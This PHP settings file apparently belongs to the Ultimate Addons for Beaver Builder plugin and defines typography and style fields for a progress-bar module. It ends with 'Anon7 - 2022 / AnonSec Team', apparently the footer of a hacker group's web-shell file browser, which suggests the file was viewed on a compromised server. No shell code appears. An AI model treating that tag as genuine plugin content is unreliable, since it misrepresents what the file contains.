						'before_after_font_family'      => array(
							'type'    => 'font',
							'label'   => __( 'Font Family', 'uabb' ),
							'default' => array(
								'family' => 'Default',
								'weight' => 'Default',
							),
							'preview' => array(
								'type'     => 'font',
								'selector' => '.uabb-ba-text',
							),
						),
						'before_after_font_size_unit'   => array(
							'type'        => 'unit',
							'label'       => __( 'Font Size', 'uabb' ),
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-ba-text',
								'property' => 'font-size',
								'unit'     => 'px',
							),
							'responsive'  => array(
								'placeholder' => array(
									'default'    => '',
									'medium'     => '',
									'responsive' => '',
								),
							),
						),
						'before_after_line_height_unit' => array(
							'type'        => 'unit',
							'label'       => __( 'Line Height', 'uabb' ),
							'description' => 'em',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-ba-text',
								'property' => 'line-height',
								'unit'     => 'em',
							),
							'responsive'  => array(
								'placeholder' => array(
									'default'    => '',
									'medium'     => '',
									'responsive' => '',
								),
							),
						),
						'before_after_color'            => array(
							'type'       => 'color',
							'label'      => __( 'Color', 'uabb' ),
							'default'    => '',
							'show_reset' => true,
							'preview'    => array(
								'type'     => 'css',
								'selector' => '.uabb-ba-text',
								'property' => 'color',
							),
						),
						'before_after_transform'        => array(
							'type'    => 'select',
							'label'   => __( 'Transform', 'uabb' ),
							'default' => '',
							'options' => array(
								''           => 'Default',
								'uppercase'  => 'UPPERCASE',
								'lowercase'  => 'lowercase',
								'capitalize' => 'Capitalize',
							),
							'preview' => array(
								'type'     => 'css',
								'selector' => '.uabb-ba-text',
								'property' => 'text-transform',
							),
						),
						'before_after_letter_spacing'   => array(
							'type'        => 'unit',
							'label'       => __( 'Letter Spacing', 'uabb' ),
							'placeholder' => '0',
							'size'        => '5',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-ba-text',
								'property' => 'letter-spacing',
								'unit'     => 'px',
							),
						),
					),
				),
				'number_typography'       => array(
					'title'  => __( 'Progress Value', 'uabb' ),
					'fields' => array(
						'number_font_family'      => array(
							'type'    => 'font',
							'label'   => __( 'Font Family', 'uabb' ),
							'default' => array(
								'family' => 'Default',
								'weight' => 'Default',
							),
							'preview' => array(
								'type'     => 'font',
								'selector' => '.uabb-progress-value, .uabb-percent-counter',
							),
						),
						'number_font_size_unit'   => array(
							'type'        => 'unit',
							'label'       => __( 'Font Size', 'uabb' ),
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-value, .uabb-percent-counter',
								'property' => 'font-size',
								'unit'     => 'px',
							),
							'responsive'  => array(
								'placeholder' => array(
									'default'    => '',
									'medium'     => '',
									'responsive' => '',
								),
							),
						),
						'number_line_height_unit' => array(
							'type'        => 'unit',
							'label'       => __( 'Line Height', 'uabb' ),
							'description' => 'em',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-value, .uabb-percent-counter',
								'property' => 'line-height',
								'unit'     => 'em',
							),
							'responsive'  => array(
								'placeholder' => array(
									'default'    => '',
									'medium'     => '',
									'responsive' => '',
								),
							),
						),
						'number_color'            => array(
							'type'       => 'color',
							'label'      => __( 'Progress Color', 'uabb' ),
							'default'    => '',
							'show_reset' => true,
							'preview'    => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-value, .uabb-percent-counter',
								'property' => 'color',
							),
						),
						'number_letter_spacing'   => array(
							'type'        => 'unit',
							'label'       => __( 'Letter Spacing', 'uabb' ),
							'placeholder' => '0',
							'size'        => '5',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-value, .uabb-percent-counter',
								'property' => 'letter-spacing',
								'unit'     => 'px',
							),
						),
					),
				),
			),
		),
	)
);

/**
 * Register a settings form to use in the "form" field type above.
 */
FLBuilder::register_settings_form(
	'progress_bar_horizontal_item_form', array(
		'title' => __( 'Add Progress Bar Item', 'uabb' ),
		'tabs'  => array(
			'general' => array( // Tab.
				'title'    => __( 'Layout', 'uabb' ), // Tab title.
				'sections' => array( // Tab Sections.
					'circular' => array(
						'title'  => __( 'Progress Settings', 'uabb' ),
						'fields' => array(
							'horizontal_number'        => array(
								'type'        => 'unit',
								'label'       => __( 'Progress Value', 'uabb' ),
								'placeholder' => '80',
								'size'        => '8',
								'description' => '%',
								'connections' => array( 'string' ),
							),
							'circular_before_number'   => array(
								'type'        => 'text',
								'label'       => __( 'Text Before Number', 'uabb' ),
								'default'     => __( 'Before Text', 'uabb' ),
								'connections' => array( 'string', 'html' ),
							),
							'circular_after_number'    => array(
								'type'        => 'text',
								'label'       => __( 'Text After Number', 'uabb' ),
								'default'     => __( 'After Text', 'uabb' ),
								'connections' => array( 'string', 'html' ),
							),
							'horizontal_before_number' => array(
								'type'        => 'text',
								'label'       => __( 'Title', 'uabb' ),
								'default'     => __( 'Luck', 'uabb' ),
								'connections' => array( 'string', 'html' ),
							),
						),
					),
					'general'  => array( // Section.
						'title'  => __( 'Style', 'uabb' ), // Section Title.
						'fields' => array( // Section Fields.
							'progress_bg_type'       => array(
								'type'    => 'select',
								'label'   => __( 'Progress Type', 'uabb' ),
								'default' => 'color',
								'help'    => __( 'You can select one of the three background types: Color: simple one color background, Gradient: two color background or Image: single image or pattern.', 'uabb' ),
								'options' => array(
									'color'    => __( 'Color', 'uabb' ),
									'gradient' => __( 'Gradient', 'uabb' ),
									'image'    => __( 'Image', 'uabb' ),
								),
								'toggle'  => array(
									'color'    => array(
										'fields' => array( 'gradient_color', 'gradient_color_opc' ),
									),
									'image'    => array(
										'fields' => array( 'progress_bg_img', 'progress_bg_img_pos', 'progress_bg_img_size', 'progress_bg_img_repeat' ),
									),
									'gradient' => array(
										'fields' => array( 'gradient_field' ),
									),
								),
							),
							'gradient_field'         => array(
								'type'    => 'uabb-gradient',
								'label'   => __( 'Gradient', 'uabb' ),
								'default' => array(
									'color_one' => '',
									'color_two' => '',
									'direction' => 'top_bottom',
									'angle'     => '0',
								),
							),
							'progress_bg_img'        => array(
								'type'        => 'photo',
								'label'       => __( 'Progress Image', 'uabb' ),
								'show_remove' => true,
							),
							'progress_bg_img_pos'    => array(
								'type'    => 'select',
								'label'   => __( 'Progress Image Position', 'uabb' ),
								'default' => 'center center',
								'options' => array(
									'left top'      => __( 'Left Top', 'uabb' ),
									'left center'   => __( 'Left Center', 'uabb' ),
									'left bottom'   => __( 'Left Bottom', 'uabb' ),
									'center top'    => __( 'Center Top', 'uabb' ),
									'center center' => __( 'Center Center', 'uabb' ),
									'center bottom' => __( 'Center Bottom', 'uabb' ),
									'right top'     => __( 'Right Top', 'uabb' ),
									'right center'  => __( 'Right Center', 'uabb' ),
									'right bottom'  => __( 'Right Bottom', 'uabb' ),
								),
							),
							'progress_bg_img_repeat' => array(
								'type'    => 'select',
								'label'   => __( 'Progress Image Repeat', 'uabb' ),
								'default' => 'repeat',
								'options' => array(
									'no-repeat' => __( 'No Repeat', 'uabb' ),
									'repeat'    => __( 'Repeat', 'uabb' ),
									'repeat-x'  => __( 'Repeat Horizontally', 'uabb' ),
									'repeat-y'  => __( 'Repeat Vertically', 'uabb' ),
								),
							),
							'progress_bg_img_size'   => array(
								'type'    => 'select',
								'label'   => __( 'Progress Image Size', 'uabb' ),
								'default' => 'initial',
								'options' => array(
									'contain' => __( 'Contain', 'uabb' ),
									'cover'   => __( 'Cover', 'uabb' ),
									'initial' => __( 'Initial', 'uabb' ),
									'inherit' => __( 'Inherit', 'uabb' ),
								),
							),
							'gradient_color'         => array(
								'type'       => 'color',
								'label'      => __( 'Progress Color', 'uabb' ),
								'default'    => '',
								'show_reset' => true,
								'help'       => __( 'This is the animated progress color, that animates above background color.', 'uabb' ),
							),
							'gradient_color_opc'     => array(
								'type'        => 'text',
								'label'       => __( 'Opacity', 'uabb' ),
								'default'     => '',
								'description' => '%',
								'maxlength'   => '3',
								'size'        => '5',
							),

							'background_color'       => array(
								'type'       => 'color',
								'label'      => __( 'Background Color', 'uabb' ),
								'default'    => 'e5e5e5',
								'show_reset' => true,
								'help'       => __( 'This color goes behind the progress color', 'uabb' ),
							),
							'background_color_opc'   => array(
								'type'        => 'text',
								'label'       => __( 'Opacity', 'uabb' ),
								'default'     => '',
								'description' => '%',
								'maxlength'   => '3',
								'size'        => '5',
							),
						),
					),
				),
			),
		),
	)
);


Anon7 - 2022
AnonSec Team